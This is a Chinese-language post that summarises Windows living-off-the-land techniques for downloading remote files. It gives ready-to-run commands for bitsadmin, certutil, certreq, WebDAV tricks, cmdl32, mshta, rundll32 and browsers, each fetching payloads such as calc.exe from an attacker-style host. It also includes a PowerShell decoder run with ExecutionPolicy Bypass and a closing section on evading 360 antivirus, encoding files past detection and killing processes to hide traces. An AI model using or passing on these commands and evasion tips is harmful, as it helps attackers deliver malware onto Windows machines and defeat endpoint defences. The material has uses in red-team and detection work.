windows下远程文件下载常见手法总结
字数 1068 2025-08-23 18:31:09
Windows下远程文件下载技术总结
1. Bitsadmin方法
Bitsadmin是Windows内置的后台智能传输服务工具,可用于文件下载。
基本用法:
bitsadmin /create foo
bitsadmin /addfile foo http://192.168.45.1:4444/1.txt C:\Windows\temp\1.txt
bitsadmin /RESUME foo
bitsadmin /info foo /verbose
bitsadmin /complete foo
或简化版:
bitsadmin /transfer foo http://192.168.45.1:4444/1.txt C:\Windows\temp\1.txt
绕过技巧:
- 使用短链接可降低检测率
- 360会拦截
/create、/addfile和/transfer参数 - 查询相关操作(
/info)不会被拦截
2. CertReq方法
CertReq可用于通过HTTP POST请求获取文件。
基本用法:
certreq -POST -config http://192.168.45.1:8000/gen.py c:\windows\win.ini output.exe
配合PowerShell解码:
param (
[string]$inputFile,
[string]$outputFile
)
$hexString = Get-Content $inputFile -Raw
$hexString = $hexString -replace '\s+',''
$byteList = New-Object System.Collections.Generic.List[byte]
for ($i = 0; $i -lt $hexString.Length; $i += 2) {
$byte = [Convert]::ToByte($hexString.Substring($i, 2), 16)
$byteList.Add($byte)
}
[System.IO.File]::WriteAllBytes($outputFile, $byteList.ToArray())
执行命令:
powershell -ExecutionPolicy Bypass -File hex.ps1 1.txt exp.exe
3. Certutil方法
Certutil可用于文件下载和编码转换。
文件下载:
certutil.exe -urlcache -split -f http://192.168.45.1:44444/1.txt C:\Windows\Temp\1.txt
编码转换:
- Base64编解码:
decode/encode - Hex编解码:
decodehex/encodehex
4. WebDAV相关方法
需要先启动WebDAV服务:
wsgidav --host=0.0.0.0 --port=80 --root=test --auth=anonymous
4.1 Type命令
type \\192.168.45.1\DavWWWRoot\1.txt > 2.txt
4.2 Esentutl命令
esentutl /Y "\\192.168.45.1\DavWWWRoot\1.txt"
4.3 Expand命令
expand "\\192.168.45.1\DavWWWRoot\1.txt" "C:\Users\admin\Desktop\test\1.txt"
4.4 Extrac32命令
extrac32 /c /Y "\\192.168.45.1\DavWWWRoot\1.txt" "C:\Users\admin\Desktop\test\1.txt"
4.5 Findstr命令
fin""""ds""tr /^l /^V 1145141919810 "\\192.168.45.1\DavWWWRoot\calc.exe" > "C:\Users\admin\Desktop\test\calc.exe"
4.6 Makecab命令
makecab "\\192.168.45.1\DavWWWRoot\1.txt" "C:\Users\admin\Desktop\test\1.cab"
4.7 PrintBrm命令
"C:\Windows\System32\spool\tools\PrintBrm.exe" -b -d "\\192.168.45.1\DavWWWRoot\test" -f 1.zip
4.8 Replace命令
replace.exe \\192.168.45.1\DavWWWRoot\calc.exe C:\Users\admin\Desktop\test /A
5. Cmdl方法
需要创建配置文件:
[Connection Manager]
CMSFile = config
ServiceName = WindowsUpdate
TunnelFile = config
[Settings]
UpdateUrl = https://192.168.45.1:4444/1.txt
执行命令:
cmdl32 /vpn /lan %cd%\config
6. ConfigSecurityPolicy方法
"C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe" http://192.168.45.1:4444/1.txt
文件会被保存到%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE下。
7. Finger方法
创建配置文件finger.conf,内容为要下载的文件名。
执行命令:
finger "ca10@192.168.45.1" | more +2 > calc.txt
8. Mshta方法
Mshta http://192.168.45.1/calc.exe
文件保存位置同上。
9. Presentationhost方法
Presentationhost http://192.168.45.1/calc.exe
10. Rundll32方法
10.1 Scrobj.dll
rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib http://192.168.45.1/calc.exe
10.2 Shimgvw.dll
rundll32.exe C:\Windows\System32\shimgvw.dll,GenerateTypeLib http://192.168.45.1/calc.exe
11. 浏览器方法
11.1 Firefox
"C:\Program Files\Mozilla Firefox\firefox.exe" http://192.168.45.1/1.bin
taskkill /im firefox.exe /f
11.2 Chrome
"C:\Program Files\Google\Chrome\Application\chrome.exe" http://192.168.45.1/calc.exe
taskkill /im chrome.exe /f
11.3 Edge
"C:\Program Files (x86)\Microsoft\EdgeCore\129.0.2792.89\msedge.exe" http://192.168.45.1/calc.exe
防御规避技巧
-
对于360等安全软件的规避:
- 使用不被拦截的参数或命令变体
- 通过WebDAV传输文件
- 使用浏览器下载后复制临时文件
-
文件保存位置:
%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE是常见下载位置- 可通过
where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache *查找
-
编码转换:
- 使用Certutil或PowerShell进行Base64/Hex编码转换
- 可绕过部分文件类型检测
-
进程处理:
- 下载完成后及时终止相关进程(如浏览器、rundll32等)
- 避免留下明显的进程痕迹